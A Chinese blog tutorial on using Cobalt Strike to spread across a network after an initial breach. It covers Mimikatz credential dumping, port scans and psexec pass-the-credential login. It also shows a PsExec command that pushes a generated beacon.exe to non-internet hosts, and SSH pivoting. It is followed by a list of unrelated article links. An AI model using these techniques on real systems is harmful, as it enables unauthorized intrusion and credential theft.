前言

当获取一台目标服务器权限时,更多是想办法扩大战果,获取目标凭据并横向进行登陆是最快速的拿权方式。但目标所处环境是否可出网,如何利用CobalStrike进行批量上线,正是本文所要讲述的内容。

获取凭据

目标机器CobalStrike上线后,通常先抓取该主机凭据,选择执行 Access–>Run Mimikatz ,或在Beacon中执行logonpasswords命令。需要当前会话为管理员权限,才能成功,如果权限低,请先提权~

点击工具栏的Credentials,可以看到获取的凭据信息。(Credentials可自行添加)

当然,不是每次都能成功获取到明文密码的,要看内存中是否存储。

目标机出网

psexec传递

获取凭据后,需要对目标网段进行端口存活探测,缩小范围。探测方式比较多,本文仅依托CobalStrike本身完成,不借助其他工具。因为是psexec传递登录,这里仅需探测445端口。( psexec:在主机上使用服务派生会话 )

使用portscan命令:ip网段 — ports端口 — 扫描协议(arp、icmp、none)— 线程(实战不要过高)。

  1. 1
  1. beacon> portscan 192.168.144.0/24 445 arp 200

点击工具栏的View–>Targets,查看端口探测后的存活主机。(Targets可自行添加)

选择Login–>psexec传递登录。

选择之前获取到的凭据信息(明文密文均可),此处选择明文,并确定接收的Listener与主机的Session。

在Beacon中可以看到执行的命令,并会显示成功登录的ip,之后就便会上线CobalStrike。这样就控制了多个主机的系统权限。

附:psexec密文传递Beacon中执行的命令。【不是psexec(psh)选项】

目标机不出网

Link Listener

实战中往往还会遇到通过某种方式,获取到目标内网中某台主机的系统权限,但是该主机处在隔离网络中,不能出网。因为CobalStrike服务端是搭建在互联网中的,通过常规方式是无法上线的,这里就需要利用已上线的主机,将它做一个Listener,实现链路上线CobalStrike。

首先,在已上线的主机创建Listener,监听端口可自定义。

选择 Attacks->Packages->Windows Executable(Stageless),支持导出该类型Listener对应的可执行文件或dll等。

注意,选择刚建立的Listener名字,Proxy可不设置,这里生成exe保存本地。(未免杀)

上传刚才生成的payload到当前已上线的目标机中,还需要上传另一个工具PsExec.exe 。(CobalStrike本身psexec功能不够强大,且方法不唯一)

在Beacon中使用PsExec工具将payload上传到不出网的目标机中,自动执行,上线。

  1. 1
  1. beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

端口查看,实际不出网目标机(192.168.144.196)是与出网目标机(192.168.144.155)正在建立连接。

  1. 1
  1. beacon> shell netstat -ano |findstr 4444

因为这是link链接,只要主链路(即出网机Listener)掉线,就都会掉线!

SSH登录

ssh批量登录比较简单,同样利用当前已上线的目标机进行登录。

  1. 1
  1. beacon> portscan 192.168.144.170-210 22 arp 200

在Credentials中添加ssh的口令信息。(ssh口令可事先通过其他方式获取,不建议用此工具进行ssh爆破,效率慢)

选择Login–>ssh登录。

选择刚添加的ssh口令,主机Session,即从哪台主机连接过去。

ssh成功登录后,就实现了Linux目标机的上线,在Beacon中可以看到执行的命令。若需要上线的Linux主机不多,可直接在Beacon中执行命令。

在Linux目标机中查看网络连接状态,实际是与之前已上线的Windows主机建立的连接。

总结

本文只是讲述针对不同环境的不同上线方式,利用CobalStrike对已获取权限的主机进行批量上线。不要把CobalStrike当成最优的端口探测与口令爆破方式,工具的特性并不在此。毕竟在内网中拿权要有效率,不能浪费太多时间,工具间要进行互补,发挥各自的优势。当然,上线的方式也不要局限此处!

CobaltStrike进阶篇-批量上线的更多相关文章

  1. SQL Server调优系列进阶篇(如何维护数据库索引)

    前言 上一篇我们研究了如何利用索引在数据库里面调优,简要的介绍了索引的原理,更重要的分析了如何选择索引以及索引的利弊项,有兴趣的可以点击查看. 本篇延续上一篇的内容,继续分析索引这块,侧重索引项的日常 ...

  2. Python之路,Day15 - Django适当进阶篇

    Python之路,Day15 - Django适当进阶篇   本节内容 学员管理系统练习 Django ORM操作进阶 用户认证 Django练习小项目:学员管理系统设计开发 带着项目需求学习是最有趣 ...

  3. 从零开始学Sketch——进阶篇-b

    从零开始学Sketch——进阶篇 Sketch是一款矢量绘图应用,而矢量绘图无疑是目前进行网页.图标以及界面设计的最好方式. 在初识了Sketch的界面布局和基础工具之后,我们就可以开始进入高阶的Sk ...

  4. 从零开始学Axure原型设计(进阶篇)

    Axure不仅能制作静态的视觉稿.页面,还能添加交互动作,是进行原型设计的最佳软件之一.在认识了Axure的界面和部件库之后,我们可以用它来画线框图了,但是静态的线框图在表达上不如有交互的原型图来得直 ...

  5. 【转】Shell编程进阶篇(完结)

    [转]Shell编程进阶篇(完结) 1.1 for循环语句 在计算机科学中,for循环(英语:for loop)是一种编程语言的迭代陈述,能够让程式码反复的执行. 它跟其他的循环,如while循环,最 ...

  6. 从零开始学Sketch——进阶篇

    本文转自 http://www.jianshu.com/p/ff70b5f35c8f 从零开始学Sketch——进阶篇 Sketch是一款矢量绘图应用,而矢量绘图无疑是目前进行网页.图标以及界面设计的 ...

  7. Sass-学习笔记【进阶篇】

    特别说明: 没有sass基础请移步:[Sass-学习笔记[基础篇]]http://www.cnblogs.com/padding1015/articles/7056323.html 最底部附结构图(实 ...

  8. Vue进阶篇

    前引 今天是2018年12月30,虽不是2018年的最后一天,但是却是自己在2018年写的最后一篇博客了,昨天下班在地铁上闲来无事,翻起了关注的一些公众号发的技术博文,里面就提到写博客的重要性,其实这 ...

  9. ref:【干货分享】PHP漏洞挖掘——进阶篇

    ref:http://blog.nsfocus.net/php-vulnerability-mining/ [干货分享]PHP漏洞挖掘——进阶篇 王陶然     从常见的PHP风险点告诉你如何进行PH ...

随机推荐

  1. MySQL初步理解,简易单表增删改查

    什么是数据库? 存储数据的仓库,本质是一个文件系统,封装了算法和文件之前数据的存储模式 阶段1:集合 数组 变量 缺点:数据存储在内存中,不能实现数据的持久化存储 阶段2:IO流 结合文件 .txt ...

  2. 从数组中任意取出2个数,判断他们的和是否为输入的数字sum,时间复杂度为0(n^2),空间复杂度0(1)

    从数组中任意取出2个数,判断他们的和是否为输入的数字sum,时间复杂度为0(n^2),空间复杂度0(1) 假设数据已经是排序好的 #include <stdio.h> #include & ...

  3. 关于JQuery Ajax 跨域 访问.net WebService

    关于这个 jQuery Ajax跨域访问 WebService 前天整了好几个小时没整明白 今天再看一下 结果突然就顿悟了 1.建一个空webApplication --添加--新建项--web服务( ...

  4. 2018 年 -- 15 个有意思的 JavaScript 和 CSS 库

    在Tutorialzine上你可以了解最新最酷的Web发展趋势.这就是为什么每个月都会发布一些偶然发现并认为值得你关注的最佳资源的缘由. Direction Reveal (方向展示) 该插件检测光标 ...

  5. Activiti学习笔记9 — UserTask共有任务的使用

    1.创建流程引擎对象 private ProcessEngine processEngine = ProcessEngines.getDefaultProcessEngine(); 2.发布一个流程 ...

  6. JS事件 内容选中事件(onselect)选中事件,当文本框或者文本域中的文字被选中时,触发onselect事件,同时调用的程序就会被执行。

    内容选中事件(onselect) 选中事件,当文本框或者文本域中的文字被选中时,触发onselect事件,同时调用的程序就会被执行. 如下代码,当选中用户文本框内的文字时,触发onselect 事件, ...

  7. C++: class sizeof

    https://blog.csdn.net/fengxinlinux/article/details/72836199 C++中类所占的大小计算,因为涉及到虚函数成员,静态成员,虚继承,多继承以及空类 ...

  8. Android开发 MediaPlayer播放raw资源MP3文件

    代码 private MediaPlayer mRingPlayer; /** * 播放铃声 */ private void startRing(){ if (mRingPlayer != null) ...

  9. C++ SOCKET 基础编程

    { http://c.biancheng.net/socket/ }

  10. vue知识点汇总

    一.学习vue必须了解的几个知识点  1.node.js介绍 node是一个让JavaScript运行在服务端的开发平台,使用JavaScript也可以开发后台服务.说明白些它仅仅是一个平台,我们使用 ...